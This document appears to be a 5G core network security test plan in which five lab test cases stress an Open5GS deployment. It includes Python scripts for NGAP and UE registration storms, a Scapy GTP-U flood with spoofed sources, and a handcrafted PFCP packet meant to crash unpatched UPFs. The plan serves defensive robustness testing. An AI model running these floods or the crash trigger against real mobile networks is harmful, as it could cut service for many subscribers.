TP-07_dos_robustness
TP-07 — Denial of Service & Robustness Tests
Domain: DoS Resistance and Protocol Robustness
Standards: 3GPP TS 33.117 §4.2.6 · RANsacked (2024) · CVE-2024-51179 · CVE-2025-14953
Prerequisites: TP-00 complete; 5G SA lab running; monitoring (Prometheus) active
Warning: These tests intentionally stress the system. Run at end of test sequence. Have
docker compose restartready to restore lab.
TC-DOS-01: NGAP Flood — Rogue gNB Registration Storm
Threat Model
graph TD
subgraph ATTACK["Attack: gNB Registration Storm"]
A1["Attacker gNB-1\n(fake gNB-ID)"]
A2["Attacker gNB-2\n(fake gNB-ID)"]
AN["Attacker gNB-N\n(100 fake gNBs)"]
end
subgraph LEGIT["Legitimate Infrastructure"]
L_GNB["Real gNB\n(ueransim-gnb)"]
L_UE["Active UE\n(uesimtun0 up)"]
end
AMF["AMF\n(Open5GS)\nSCTP port 38412"]
RESOURCE["AMF Resources\nConnection Pool\nMemory\nCPU"]
A1 & A2 & AN -->|100 NGSetupRequest/10s| AMF
L_GNB -->|NGSetupRequest| AMF
AMF --> RESOURCE
RESOURCE -->|Saturation| FAIL1["❌ AMF crash\nAll subscribers dropped"]
RESOURCE -->|Handled| PASS1["✅ AMF rate-limits\nLegit gNB still served"]
L_UE -.->|During attack| CHECK{"Still connected?"}
CHECK -->|Yes| OK["✅ Session survives"]
CHECK -->|No| IMPACT["❌ Service disruption"]
style FAIL1 fill:#c0392b,color:#fff
style PASS1 fill:#27ae60,color:#fff
style OK fill:#27ae60,color:#fff
style IMPACT fill:#e67e22,color:#fffObjective
Verify AMF survives concurrent NGAP NGSetupRequest flood and continues serving legitimate gNB.
Steps
# 1. Record baseline state
BEFORE_RESTARTS=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
docker exec ueransim-ue ping -i 0.5 -c 20 -I uesimtun0 8.8.8.8 > /tmp/pre-flood-ping.txt &
# 2. Generate 100 fake gNB registration attempts
python3 << 'PYEOF'
import subprocess, threading, time, uuid
def launch_fake_gnb(gnb_id):
"""Launch a UERANSIM gNB with unique ID that will attempt NGSetup"""
import socket, struct
AMF_IP = "172.22.0.20"
AMF_PORT = 38412
# SCTP connect + minimal NGAP NGSetupRequest
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,
socket.IPPROTO_SCTP if hasattr(socket, 'IPPROTO_SCTP') else socket.IPPROTO_TCP)
sock.settimeout(2)
sock.connect((AMF_IP, AMF_PORT))
time.sleep(0.1)
sock.close()
except Exception:
pass
threads = []
for i in range(100):
t = threading.Thread(target=launch_fake_gnb, args=(i,))
threads.append(t)
start = time.time()
for t in threads:
t.start()
time.sleep(0.1) # 10/sec stagger
for t in threads:
t.join()
print(f"Storm duration: {time.time()-start:.1f}s")
PYEOF
# 3. Wait for storm to settle
sleep 15
# 4. Check AMF survived
AFTER_RESTARTS=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
echo "AMF restarts: before=${BEFORE_RESTARTS}, after=${AFTER_RESTARTS}"
# 5. Check legitimate gNB still connected
docker logs open5gs-amf 2>&1 | grep "gNB-ID" | tail -5
# 6. Check active ping survived
wait
cat /tmp/pre-flood-ping.txt | tail -5
# 7. Try new registration post-flood
docker compose -f ~/open5gs-lab/5g/docker-compose.yml restart ue
sleep 15
docker exec ueransim-ue ip addr show uesimtun0 | grep "inet"
Expected Results
- AMF restart count: unchanged (no crash)
- Legitimate gNB remains registered in AMF
- Active UE ping: some loss acceptable but < 50%
- New registration post-flood: succeeds within 30 seconds
Pass Criteria
AMF survives; legitimate gNB session unaffected. Any AMF restart = test FAIL.
TC-DOS-02: NAS Registration Storm — Invalid UEs + Malformed NAS
Threat Model
sequenceDiagram
participant ATK as Attacker (500 fake UEs)
participant GNB as gNB
participant AMF as AMF
participant UDM as UDM
Note over ATK,UDM: THREAT: Exhaust AMF resources via\ninvalid registrations + malformed NAS
loop 500 iterations
ATK->>GNB: RRC Setup (random IMSI)
GNB->>AMF: NGAP InitialUEMessage\n{NAS: RegistrationRequest (invalid IMSI)}
AMF->>UDM: GET subscriber data (random IMSI)
UDM-->>AMF: HTTP 404 Not Found
AMF-->>ATK: NAS RegistrationReject\ncause #11
end
Note over ATK: Also inject 10 malformed NAS messages
ATK->>AMF: Zero-length 5GMM packet (CVE-2024-24428 pattern)
Note over AMF: Does AMF handle gracefully\nor assertion failure?
AMF->>AMF: Connection pool: filled?\nUDM requests: queued?\nMemory: exhausted?
alt Resources exhausted
Note over AMF: ❌ AMF crash or\nlegit UEs rejected
else Rate-limiting works
Note over AMF: ✅ Storm absorbed\nLegit UE still registers
endObjective
Verify AMF handles 500 invalid IMSI registrations + malformed NAS without crashing; valid UEs unaffected.
Steps
# 1. Active session baseline
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
# 2. Generate 500 registration attempts with non-existent IMSIs
python3 << 'PYEOF'
import subprocess, random, time, threading
def fake_ue_register(imsi_suffix):
"""Create and run a UERANSIM UE with non-existent IMSI"""
import tempfile, os, yaml
# Build a minimal UERANSIM UE config
config = {
'supi': f'imsi-99999{imsi_suffix:07d}',
'mcc': '001',
'mnc': '01',
'key': '465B5CE8B199B49FAA5F0A2EE238A6BC',
'op': 'E8ED289DEBA952E4283B54E88E6183CA',
'opType': 'OPC',
'amf': '8000',
'gnbSearchList': ['172.22.0.50'], # point to real gNB
'uacAic': {'mps': False, 'mcs': False},
'uacAcc': {'normalClass': 0, 'class11': False, 'class12': False,
'class13': False, 'class14': False, 'class15': False},
'sessions': [{'type': 'IPv4', 'apn': 'internet',
'slice': {'sst': 1, 'sd': '0x000001'}}],
'configured-nssai': [{'sst': 1, 'sd': '0x000001'}],
'default-nssai': [{'sst': 1, 'sd': '0x000001'}],
'integrity': {'IA1': True, 'IA2': True, 'IA3': True},
'ciphering': {'EA1': True, 'EA2': True, 'EA3': True}
}
with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
yaml.dump(config, f)
fname = f.name
proc = subprocess.Popen([
'docker', 'run', '--rm', '--cap-add=NET_ADMIN',
'--network', 'open5gs-lab_ran',
'-v', f'{fname}:/etc/ueransim/ue.yaml',
'louisroyer/ueransim-ue:latest'
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(5)
proc.kill()
os.unlink(fname)
# Launch 500 fake UEs in batches of 50
print("Launching 500 fake UE registrations...")
for batch_start in range(0, 500, 50):
threads = [threading.Thread(target=fake_ue_register, args=(i,))
for i in range(batch_start, batch_start+50)]
for t in threads: t.start()
time.sleep(2)
print("Storm launched. Monitoring AMF...")
PYEOF
sleep 30
# 3. Check AMF restart count
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
echo "AMF restarts: ${BEFORE} → ${AFTER}"
# 4. Verify legit UE still works
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8
# 5. Check AMF log for graceful rejections
docker logs open5gs-amf 2>&1 | grep -c "RegistrationReject"
docker logs open5gs-amf 2>&1 | grep -E "assert|crash|panic|SIGSEGV" | tail -5
Expected Results
- AMF restart count unchanged
- AMF log shows
RegistrationRejectentries (graceful handling) - No assert/crash/panic in AMF log
- Legitimate UE ping survives
Pass Criteria
AMF handles 500 invalid registrations gracefully. No crash. Legit session unaffected.
TC-DOS-03: SMF PDU Session Establishment Flood
Threat Model
graph TD
subgraph UE_STORM["10 UEs × 3 PDU Sessions = 30 concurrent requests"]
U1["UE-1: PDU internet + ims + iot"]
U2["UE-2: PDU internet + ims + iot"]
UN["UE-10: PDU internet + ims + iot"]
end
SMF["SMF\n(Session Manager)\nN11 HTTP/2 listener"]
UPF["UPF\n(N4 PFCP)"]
DB["UDR / MongoDB\n(session persistence)"]
U1 & U2 & UN -->|Simultaneous PDU Session Est.| SMF
SMF -->|PFCP Session Est. Req| UPF
SMF -->|Session data store| DB
SMF --> CAPACITY{"Within capacity?"}
CAPACITY -->|Yes| ACCEPT["✅ All sessions\nestablished"]
CAPACITY -->|Exceeded| REJECT["✅ NAS Reject\ncause #26 Insufficient resources\n(graceful rejection)"]
CAPACITY -->|Overloaded| CRASH["❌ SMF crash\nAll existing sessions lost"]
style ACCEPT fill:#27ae60,color:#fff
style REJECT fill:#27ae60,color:#fff
style CRASH fill:#c0392b,color:#fffObjective
Verify SMF handles concurrent PDU session establishment requests; excess sessions rejected gracefully without crash.
Steps
# 1. Register 10 UEs
for i in $(seq 1 10); do
docker run -d --name ueransim-dos-${i} \
--cap-add=NET_ADMIN \
--network open5gs-lab_ran \
-v ~/open5gs-lab/5g/config/ue.yaml:/etc/ueransim/ue.yaml \
louisroyer/ueransim-ue:latest
sleep 0.2
done
sleep 20
# 2. Record SMF state
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-smf)
SMF_SESSIONS_BEFORE=$(docker logs open5gs-smf 2>&1 | grep -c "PDU Session")
# 3. Each UE requests 3 PDU sessions simultaneously (default UE config does 1;
# modify config to add multiple DNNs)
for i in $(seq 1 10); do
# Request additional PDU sessions via UERANSIM commands
docker exec ueransim-dos-${i} \
bash -c "nr-cli imsi-001010000000001 -e 'ps-establish IPv4 --sst 1 --dnn ims'" 2>/dev/null &
done
sleep 30
# 4. Check SMF survived
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-smf)
echo "SMF restarts: ${BEFORE} → ${AFTER}"
# 5. Check session count
docker logs open5gs-smf 2>&1 | grep "PDU Session" | tail -20
# 6. Check for graceful rejection of excess sessions
docker logs open5gs-smf 2>&1 | grep -E "reject\|Insufficient\|limit" | tail -10
# Cleanup
for i in $(seq 1 10); do docker rm -f ueransim-dos-${i}; done
Expected Results
- SMF restart count unchanged
- Sessions within capacity: established
- Excess sessions:
PDU Session Establishment Rejectcause #26 - No SMF process crash or memory exhaustion
Pass Criteria
SMF handles flood gracefully. No crash. Excess sessions rejected with proper NAS cause.
TC-DOS-04: UPF GTP-U Flood (N3 Interface)
Threat Model
graph TD
ATK["Attacker\n(N3 segment access)"]
ATK -->|100,000 GTP-U packets\nwith invalid TEIDs\nat line rate| UPF_N3["UPF N3\nGTP-U Port 2152/UDP"]
UPF_N3 --> TEID_CHECK{"TEID lookup\nin PDR table"}
TEID_CHECK -->|Unknown TEID| DROP["✅ DROP\n(no FAR = drop rule)"]
TEID_CHECK -->|CPU saturated| SLOW["⚠️ Legitimate packets\ndelayed"]
subgraph LEGIT["Legitimate Session"]
L_GNB["Real gNB\n(valid TEID)"]
L_UE["Active UE\n(ping traffic)"]
end
L_GNB -->|Valid GTP-U TEID| UPF_N3
TEID_CHECK -->|Valid TEID| FORWARD["✅ Forward\nto Data Network"]
DROP -.->|If all CPUs busy| STARVATION["❌ Legit packets starved\nSession timeout"]
FORWARD -.->|During flood| DEGRADED["⚠️ Latency spike\nbut session maintained"]
subgraph CVE["CVE-2024-51179"]
C1["Crafted PFCP flood\n→ UPF resource exhaustion"]
C1 --> C2["UPF crash (≤ v2.7.5)"]
C2 --> C3["Patched in v2.7.6+"]
end
style DROP fill:#27ae60,color:#fff
style FORWARD fill:#27ae60,color:#fff
style STARVATION fill:#c0392b,color:#fff
style C2 fill:#c0392b,color:#fff
style C3 fill:#27ae60,color:#fffObjective
Test UPF resilience against high-rate GTP-U flood with invalid TEIDs from unauthorized source.
Steps
# 1. Baseline active session
docker exec ueransim-ue ping -i 0.1 -c 30 -I uesimtun0 8.8.8.8 > /tmp/pre-flood.txt &
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
# 2. GTP-U flood with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import time
UPF_IP = "172.23.0.30"
PACKETS_PER_BATCH = 10000
print(f"Starting GTP-U flood → {UPF_IP}:2152")
flood_start = time.time()
total = 0
# Send 100k packets with random TEIDs (all invalid)
for batch in range(10):
packets = [
IP(src=f"172.23.{random.randint(1,254)}.{random.randint(1,254)}",
dst=UPF_IP) /
UDP(sport=random.randint(1024, 65535), dport=2152) /
GTP_U_Header(teid=random.randint(0x10000000, 0xFFFFFFFF), gtp_type=255) /
IP(dst="8.8.8.8") / ICMP()
for _ in range(PACKETS_PER_BATCH)
]
send(packets, verbose=0, inter=0)
total += len(packets)
print(f" Sent {total} packets...")
duration = time.time() - flood_start
print(f"Flood complete: {total} packets in {duration:.1f}s ({total/duration:.0f} pps)")
PYEOF
# 3. Wait and check
sleep 10
wait
# 4. Check UPF survived
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restarts: ${BEFORE} → ${AFTER}"
# 5. Measure throughput impact on active session
docker exec ueransim-ue ping -c 10 -I uesimtun0 8.8.8.8 2>&1 | tail -5
# 6. Compare pre/post latency
echo "=== Pre-flood ping results ==="
cat /tmp/pre-flood.txt | tail -3
Expected Results
- UPF restart count unchanged
- Active UE ping: latency spike acceptable (< 500ms), but session maintained
- UPF drops all packets with unknown TEIDs (no FAR = drop)
- CPU < 90% sustained during flood (Docker stats)
Pass Criteria
No UPF restart. Active session throughput > 50% of baseline. GTP-U flood absorbed.
TC-DOS-05: CVE-2025-14953 PFCP Null Pointer Regression
Threat Model
flowchart TD
ATK["Attacker\n(N4 segment access\nor PFCP port reachable)"]
ATK -->|Crafted PFCP Session Est. Req\nCreate PDR with FAR-ID referencing\nnon-existent FAR| UPF["UPF\nogs_pfcp_handle_create_pdr()\nlib/pfcp/handler.c"]
UPF --> CHECK{"Open5GS version?"}
CHECK -->|≤ v2.7.5 (vulnerable)| VULN["FAR-ID lookup returns NULL\nogs_pfcp_far_find_by_id()\nNULL pointer dereference"]
CHECK -->|≥ v2.7.6 (patched)| PATCH["NULL check added\nbefore FAR pointer use"]
VULN --> CRASH["❌ UPF process SIGSEGV\nContainer restart\nAll active sessions DROPPED\nCity-wide outage if targeting\nproduction UPF"]
PATCH --> SAFE["✅ PFCP Session Est. Response\nCause=Request rejected (0x41)\nNo crash\nSession not established"]
subgraph IMPACT["Real-World Impact (if unpatched)"]
I1["Single malformed PFCP packet"]
I2["→ All UPF sessions terminated"]
I3["→ Recovery requires container restart"]
I4["→ All active PDU sessions torn down"]
I1 --> I2 --> I3 --> I4
end
style CRASH fill:#c0392b,color:#fff
style SAFE fill:#27ae60,color:#fff
style I4 fill:#c0392b,color:#fffObjective
Verify Open5GS v2.7.7 is not vulnerable to CVE-2025-14953 (PFCP null ptr deref via invalid FAR-ID in Create PDR IE).
Steps
# 1. Verify Open5GS version
docker exec open5gs-upf cat /usr/local/lib/open5gs/version 2>/dev/null || \
docker exec open5gs-upf open5gs-upfd --version 2>/dev/null | head -1
# Must show v2.7.6 or later
# 2. Record baseline restart count
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restart count before: ${BEFORE}"
# 3. Craft malformed PFCP message (CVE-2025-14953 trigger)
python3 << 'PYEOF'
import socket, struct
UPF_IP = "172.23.0.30"
PFCP_PORT = 8805
# PFCP Session Establishment Request with:
# - Create PDR IE containing a FAR-ID that references a non-existent FAR
# This is the exact trigger condition for CVE-2025-14953
# PFCP Header (version=1, S=1 for SEID, message_type=50=Session Est Req)
version_flags = 0x21 # Version=1, FO=0, MP=0, S=1 (SEID present)
msg_type = 50 # Session Establishment Request
seq_num = 1
# Minimal PFCP Session Establishment Request
# with Create PDR (IE type=1) containing FAR-ID=999 (non-existent)
create_pdr_ie = bytes([
0x00, 0x01, # IE type: Create PDR (1)
0x00, 0x0A, # IE length: 10
# PDR ID (IE type=56, len=2, value=1)
0x00, 0x38, 0x00, 0x02, 0x00, 0x01,
# FAR ID (IE type=108, len=4, value=999 — non-existent FAR!)
0x00, 0x6C, 0x00, 0x02, 0x03, 0xE7, # FAR-ID = 999 (0x03E7)
])
total_length = 16 + len(create_pdr_ie) # 4 (header fields) + 8 (SEID) + 4 (seq) + IEs
pfcp_msg = struct.pack("!BBHQ",
version_flags,
msg_type,
total_length,
0x0000000000000001 # SEID = 1 (fake)
)
pfcp_msg += struct.pack("!I", seq_num) # Sequence number
pfcp_msg += create_pdr_ie
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
print(f"Sending CVE-2025-14953 trigger to UPF {UPF_IP}:{PFCP_PORT}")
print(f"Payload: {pfcp_msg.hex()}")
sock.sendto(pfcp_msg, (UPF_IP, PFCP_PORT))
try:
response, addr = sock.recvfrom(4096)
cause_offset = 16 # Approximate offset to Cause IE in response
print(f"✅ UPF responded ({len(response)} bytes) — no crash!")
print(f"Response hex: {response.hex()}")
except socket.timeout:
print("No response received")
finally:
sock.close()
PYEOF
# 4. Critical check — did UPF crash?
sleep 3
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restart count after: ${AFTER}"
if [ "$BEFORE" -eq "$AFTER" ]; then
echo "✅ PASS: UPF did NOT crash — CVE-2025-14953 mitigated"
else
echo "❌ FAIL: UPF CRASHED (restart count increased)!"
echo "CRITICAL FINDING: Vulnerable to CVE-2025-14953"
echo "Action required: Upgrade to Open5GS ≥ v2.7.6"
fi
# 5. Verify active session still works post-test
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8
Expected Results (v2.7.7 — patched)
- UPF restart count: unchanged
- UPF responds with PFCP error cause (rejected) or no response
- Active UE sessions unaffected
- No SIGSEGV in UPF logs
Expected Results (v2.7.5 — vulnerable, for comparison)
- UPF restart count increases by 1
- All active sessions terminated
- Container restart required to restore service
Pass Criteria
Zero UPF restarts. CVE-2025-14953 confirmed mitigated in v2.7.7. Any restart = CRITICAL FINDING.